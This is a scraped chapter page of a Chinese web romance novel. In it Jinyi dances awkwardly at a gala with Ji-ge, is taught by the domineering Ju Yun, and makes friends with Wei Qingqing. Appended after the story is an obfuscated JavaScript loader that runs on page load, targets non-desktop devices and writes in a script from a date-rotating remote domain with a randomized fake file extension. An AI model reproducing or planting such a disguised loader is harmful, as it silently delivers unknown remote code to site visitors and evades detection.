返回真不会跳舞  菜猪油恶魔首页

关灯 护眼     字体:

上一章 目录 下一章

就在这时,大厅中央的灯光变了一变,最前方的舞台上凭空多了一支乐队,在指挥的手势摆动下,轻柔的音乐声随之响起。

才坐下不过几秒的季哥又从沙发上弹了起来。

他来到锦一面前,半弯下腰,向锦一伸出了手:“请问,我有这个荣幸可以邀请面前这位美丽的小姐跳第一支舞吗?”

锦一迅速把手中的餐盘放下:“可是我不会跳舞呀。”

“没关系,我也不会。”季哥笑着再一次做出了邀请的动作,“俗话说,重在参与。”

“好吧。”锦一将自己的手搭在了季哥宽厚温暖的手上,眉眼弯弯,“重在参与。”

二人来到大厅中央,说着不会跳舞的两人,果真都不会跳。

他们只好偷偷学着别人的动作,在音乐节拍指引下,胡乱踩起了对方的脚。

锦一不由再次感谢自己做出了对的选择,还好穿的是休闲平底鞋,既能不踩痛季哥,也能保护自己的脚不被季哥踩痛。

舞池里的俩人与其他人是那样的格格不入,本该是浪漫的舞曲却被蹩脚的舞者打散。

最后到底还是季哥先被现实打败,周围人看过来的眼神实在让他臊得慌。

“行了行了。”季哥笑着放开了锦一的手,“看来我们都不是跳舞的料子。”

锦一连连点头:“是的,所以我们还是放过彼此吧。”

她低头看了眼自己的鞋,原本一尘不染的白色鞋头,跳了一支舞后,它便多了些岁月的痕迹。

锦一和季哥相携走下场,二人刚在休息区的沙发上坐下,一旁的角落里便款款走来一位身着墨绿色丝绒长裙的女子,她的美丽竟让人忽视了她脖子上巨大又闪耀的宝石项链。

“第二支舞可以给我吗?”她说。

锦一转头看向季哥,一脸兴奋地想要看热闹。

“看他做什么?我在问你。”居韵来到锦一面前,再一次认真地问道,“你的第二支舞,可以吗?”

“啊?我?”锦一惊讶极了,“可我不会跳舞哎!我真的真的真的一点都不会!!”

“我知道,我都看到了,没有关系。”居韵二话不说就拉着锦一重返舞池,“我教你。”

于是,舞池里多了一对看起来并不和谐的组合。

非要形容一下的话,大概就是,明艳富贵豪门小妈和野蛮生长冒牌公主,酱紫吧。

“放松,跟着我的节奏,一二三四...”

居韵本身身高就很高挑,为了搭配礼服,她还穿了高跟鞋,若锦一想要看到她的表情,就得昂着脑袋,若是想要听清她说话,那还得踮起脚尖凑上去。

顾前顾后,顾上顾下。

一不小心,锦一就踩到了自己的裙摆,脚步踉跄,一头扎进了居韵的怀里。

“啊不好意思不好意思,居女士,有没有撞疼你。”锦一赶忙站稳,鼻子还不听使唤偷偷吸了一下,好香香。

她的心头还有个色批小人儿,在那大吼着,嗷~跟大美女贴贴耶,好幸福!!

“没事。”居韵眉头轻皱,但不是因为被撞被揩油,而是因为锦一对她的称呼,“你不要跟别人一样称呼我居女士,你应该喊我...韵姨。”

“什么?”锦一跳舞跳地认真,她光顾着低头看自己的步伐,得保证既不会踩对方,也不能踩到自己,所以她都没听清居韵说话。

“抬头,看我。”居韵加大音量道。

锦一刷得一下抬起头,瞪大眼睛与之对视。

“以后你都喊我,韵姨,听清楚了吗?”居韵勾着细细眼线的明丽双眼,自上而下,奇怪的是她的眼神却并不锋利,反而是柔软的。

锦一对这眼神并不陌生,这段时间居韵总是这样看她,就正如她想要的称呼那样,像是长辈对小辈才会有的目光。

“这不合适吧,你年轻漂亮,又没比我大几岁,怎么能喊姨呢。”

“我认为可以就是可以,你要做的就是听从我的指令。”居韵语气凌厉,握住锦一的那只手也加大了力度。

见她如此强势,锦一也不再多费口舌拒绝:“哦,好吧。”

随着音乐节奏的激昂起伏,居韵领着锦一在人群中划了半个圈,慢慢地锦一也找到了些许规律,不仅不再踩自己踩对方,甚至还感受到了悦动的乐趣。

察觉到锦一舞步逐渐熟练,居韵不动声色增加了难度,突然一把将锦一甩了出去,紧接着用力拉回。

锦一就像居韵手里一只装饰精美的大陀螺,任其玩耍,转出去又转回来,眼前全是拉成一条线的灯光,就算这样,她还能分心感叹居女士力气可真大。

再一个来回后,锦一求饶道:“不行了,要晕了,居女士。”

可居韵不听,又把她甩了出去,锦一根本来不及反应,只听居韵道:“你喊我什么?”

“韵姨韵姨韵姨!”头昏眼花的锦一顾不上别扭,忙不迭喊道。

得到了想要的回复,居韵才收手,她满意地笑了:“早这么乖不就好了。”

乖?

我才不会乖呢。

锦一下意识想“顶嘴”,可居韵没给她开口的机会。

居韵接着又说道:“以后也要乖一点,听韵姨的没错,韵姨不会害你,只会保护你,多的我也不好说,不过你以后会明白的。”

锦一不置可否,在居韵的管辖范围内,她对自己确实挺好,几乎是有求必应,但这不是自己想要的。

“乖”这个字也绝不可能会是自己的形容词。

锦一抬头看了眼最前方顶头挂着的大吊钟,时间不早了,她开始焦虑出逃行动是否能顺利进行,可面前的居韵似乎还在兴头上,并没有想放手的意思。

前进又退后,转啊转啊转,周围的人来来回回不断更迭。

就在瞌睡时,锦一看到有个人破开人群朝二人走来。

枕头来了!

锦一眼睛都亮了。

“怎么突然笑这么开心?”居韵离她最近,当然发现了她情绪的转变。

锦一回道:“看到一个大帅哥当然开心!”

“是吗?你的意思是,你要去跟大帅哥跳了吗?”居韵轻哼一声,“可是韵姨还没跟你跳到尽兴。”

“哦不不不。”锦一借着一个转身,送居韵来到穆医生面前,“这个大帅哥是来找你的。”

穆医生顺势向居韵伸出了右手:“你的第二支舞,可以吗?”

我滴怪怪,果然是有情人,邀人跳舞的台词都一模一样。

居韵惊讶又惊喜的表情还在面上,可手已不自觉松开,再一个转身,她的舞伴就换成了与她显然就是一对璧人的穆医生。

锦一总算松了一口气迅速逃离舞池,人生大事最当头,她急着要去释放内存。

她随手逮了个侍应生问到了卫生间的位置,直奔而去。

起初锦一还担心自己及地的裙摆会不方便,也担心地上不干净会弄脏,然而等她进到不比大堂逊色的豪华卫生间,她就什么都不担心了。

解决完个人要事后锦一在洗手台前洗手,忽地有人踩着清脆的脚步声走进来。

锦一下意识抬头从镜子里看过去,随后她的目光便与来人相撞在镜子里。

进来的人竟是魏箐箐,她一身狂妄的大红,像她的性格一样烈,她的美是一种从内而外燃烧的妖异,她的火似乎可以燃尽方圆千里所有的氧气。

锦一的目光里全是惊艳,她当然知道魏箐箐好看,但华服造型让她的好看更上一层楼了。

她的裙摆就像波浪般飘逸,大片白皙的后背毫不吝啬完全展露,将金色镂空腰带衬地更加旖旎。

收回欣赏的目光,锦一转念一想,魏箐箐在这儿出现也很正常,她也是管理人员来着。

锦一没想在这时间点跟魏箐箐斗嘴,她抽了张擦手纸,擦干手就要离开。

没曾想到,魏箐箐先一步拦住了她的去路:“等一下。”

“有事?”

“你是?林锦一?”魏箐箐满脸不可思议。

“是我。”看到魏箐箐讶异的表情,锦一整张脸都耷拉下来了,可太打击人信心了,“你这是什么眼神,我这样很奇怪吗?”她对着镜子再一次打量自己,给自己打气,没问题啊,很好看啊。

魏箐箐慢半拍地意识到了是自己表情管理没做好,让人误解了自己的意思,她赶忙解释道:“不是的。”

她直视着锦一的双眼,真心真意地夸赞道:“你今天很好看,真的,特别好看,我只是太惊讶了,跟以前看到的你很不一样,我没有别的意思,让你误会了,我很抱歉。”

“真的吗!”锦一笑开了花,“我也觉得我今天很好看,谢谢,能得到美女的称赞,我更开心了。”

“当然是真的,我魏箐箐可从不说假话!”

“嗯,我知道,谢谢。”

谁也没想到,一向不大对盘的魏箐箐和锦一,竟在卫生间里来了个世纪大和谐。

其实也不奇怪,毕竟两人之间也没什么大矛盾,有事见面时的斗嘴更像是专属的打招呼方式,谁也没有坏心。

在离开卫生间前,锦一回头对魏箐箐道:“对了,忘了说,你今天是我目前看到过的最最最漂亮的女孩子,没有之一。”

正要拉开隔间门的魏箐箐愣在原地,脸颊都飞上了红霞,往常最厉害的嘴巴,这会儿却发不出一个字。

说完这句话,锦一笑眯眯地转身离开,本来她说的也是真心话,谁不喜欢美女呢!

走出卫生间后,锦一便看到守在门外的小江,她一出来,小江便望向她。

锦一走近她,问道:“你要去卫生间吗,我在这等你。”

小江摇了摇头:“不用。”

“好吧。”锦一率先提步往大堂走,“你不用看我看这么紧,你也可以休息一下吃点东西喝点饮料,我不会告诉居女士的。”

小江对她笑了笑,还是摇头:“不用。”

“好吧。”锦一撇了撇嘴,小尾巴太尽责了可怎么办才好。

耽搁了这么一会,待锦一回到大堂就发现这会儿的舞池里人已经不多了。

锦一一眼就看到了休息区的季哥,季哥正与一贵气逼人的女子交谈甚欢。

她没那么不长眼,自行去了一边喝饮料。

锦一没想的是,她才刚盲选了一杯不知名饮品,还没喝,季哥就过来了。

“居韵是个很不错的老师,她把你教会了。”他笑眯眯地,“当然,你也很聪明。”

锦一小小咪了一口饮料,这次挑的还不错:“是,舞蹈可是公主的必修课,那不得好好学。”

说到居韵,锦一看了眼没剩多少人的舞池,竟然没看到居韵和穆医生。

“居女士和穆医生去哪儿了?”她问季哥。

“哦,他们两个啊。居韵几分钟前被人喊走了,大概是有什么急事,她一走,穆医生也跟着走了。”

居韵被人喊走了?

会是什么事?

会不会是?

锦一心跳嘭嘭,那是不是代表说,自己可以开始行动了。

可没想到,季哥在这时开口,他对锦一道:“接下来的时间可以给我了吗?”

锦一下意识看了眼大吊钟,还未回答,却听季哥压低声音接着道,“我知道你还有其他安排,但是答应我的也该按时兑现,毕竟我也不知道下一次能见到你是什么时候了。”

锦一犹豫了一下,最终还是点了头:“好。”

她心道,是啊,下一次再见到季哥也不知道是什么时候了。

只是他们谁也不知道,今天将会是他们见到的最后一面了...

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");